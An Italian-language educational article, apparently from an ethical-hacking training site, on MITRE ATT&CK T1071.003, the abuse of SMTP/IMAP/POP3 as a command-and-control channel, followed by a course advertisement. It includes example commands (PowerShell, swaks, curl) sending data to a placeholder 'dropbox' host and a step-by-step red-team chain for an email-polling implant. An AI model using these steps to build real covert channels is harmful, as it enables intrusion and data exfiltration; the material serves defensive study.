Protocolli Mail per C2: Mail Protocols (T1071.003)

La tecnica T1071.003 — Mail Protocols descrive l'abuso dei protocolli di posta elettronica (SMTP/S, POP3/S, IMAP) come canale di Command and Control, all'interno della tattica TA0011. L'idea è tanto semplice quanto efficace: invece di aprire connessioni verso domini sospetti o CDN inusuali, l'impianto si mimetizza nel traffico email che ogni azienda produce quotidianamente, sfruttando header, corpi messaggio o allegati come contenitori per comandi e risultati.

Questa scelta operativa complica il rilevamento perché SMTP verso porta 25, 465, 587 e IMAP/POP3 su 993/995 sono normalmente consentiti in uscita almeno dai mail server aziendali, e spesso da workstation con client legittimi. Un adversary che compromette un account Gmail auto-registrato o, meglio ancora, un mail server della vittima, ottiene un canale bidirezionale a bassa latenza che passa attraverso proxy e content filter senza generare allarmi.

I dati MITRE ATT&CK associano a questa tecnica 6 gruppi APT e 20 famiglie malware, un numero significativo che riflette la maturità operativa dell'approccio. L'ecosistema comprende impianti storici come CHOPSTICK, CORESHELL e Zebrocy legati ad APT28, backdoor Turla come ComRAT e LightNeuron, fino a stealer commerciali come Agent Tesla e a impianti più recenti quali LunarMail, IMAPLoader e PowerExchange. Le mitigazioni disponibili sono due — filtraggio del traffico di rete e IPS con signature — ma l'efficacia dipende dalla segmentazione dei flussi mail legittimi.

In un red team engagement, simulare T1071.003 significa progettare un impianto che usi caselle email controllate come dead-drop bidirezionale. L'approccio più realistico consiste nel registrare un dominio con MX legittimo (oppure abusare di provider free tier come Gmail o Outlook.com per esercizi lab-only) e sviluppare un agent che effettui polling su IMAP per ricevere comandi e risponda via SMTP con i risultati.

Su Windows, la libreria System.Net.Mail di .NET permette di costruire client SMTP in poche righe di PowerShell. Un esempio didattico di invio autenticato:

Send-MailMessage -SmtpServer smtp.example.com -Port 587 -UseSsl -Credential $cred -From agent@lab.local -To dropbox@lab.local -Subject "beacon" -Body $encodedOutput

Per la ricezione, MailKit (open source) è la scelta standard perché supporta IMAP IDLE, permettendo polling near-real-time senza autenticazioni ripetute. Su Linux, swaks (open source) resta il coltellino svizzero per test SMTP: swaks --to dropbox@lab.local --server smtp.example.com:587 --auth LOGIN --tls --attach payload.bin. Per l'estrazione lato IMAP, offlineimap o isync/mbsync (open source) consentono sincronizzazione batch di mailbox intere, utili per esfiltrare risultati accumulati.

Su macOS, AppleScript può interfacciarsi con Mail.app oppure invocare curl con schema smtps:// e imaps:// (curl supporta nativamente entrambi). Un one-liner tipico: curl --url 'smtps://smtp.example.com:465' --ssl-reqd --mail-from agent@lab.local --mail-rcpt drop@lab.local --upload-file message.txt --user 'agent:pass'.

Per framework C2 completi, Empire (open source) ha storicamente incluso listener email, e progetti come Gcat o GDog (open source, prevalentemente educativi) dimostrano l'uso di Gmail come broker. Nel contesto Cobalt Strike (a pagamento) è possibile scrivere External C2 handler custom che veicolano traffico su IMAP, sebbene non sia una configurazione out-of-the-box.

La catena tipica in esercizio red team prevede: initial access via spear-phishing, drop di un loader minimale che scarica l'agent finale, registrazione dell'host presso la dropbox mail, polling IMAP ogni 60-300 secondi con jitter randomizzato, esecuzione comandi ricevuti come corpo o allegato base64, invio risultati come reply-to sulla stessa conversazione per mantenere threading coerente. L'uso di conversazioni email realistiche (subject line innocue, firma corporate, orari d'ufficio) aumenta la sopravvivenza dell'impianto. Ricordarsi sempre di operare in ambienti autorizzati e distruggere le caselle dropbox a fine engagement.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.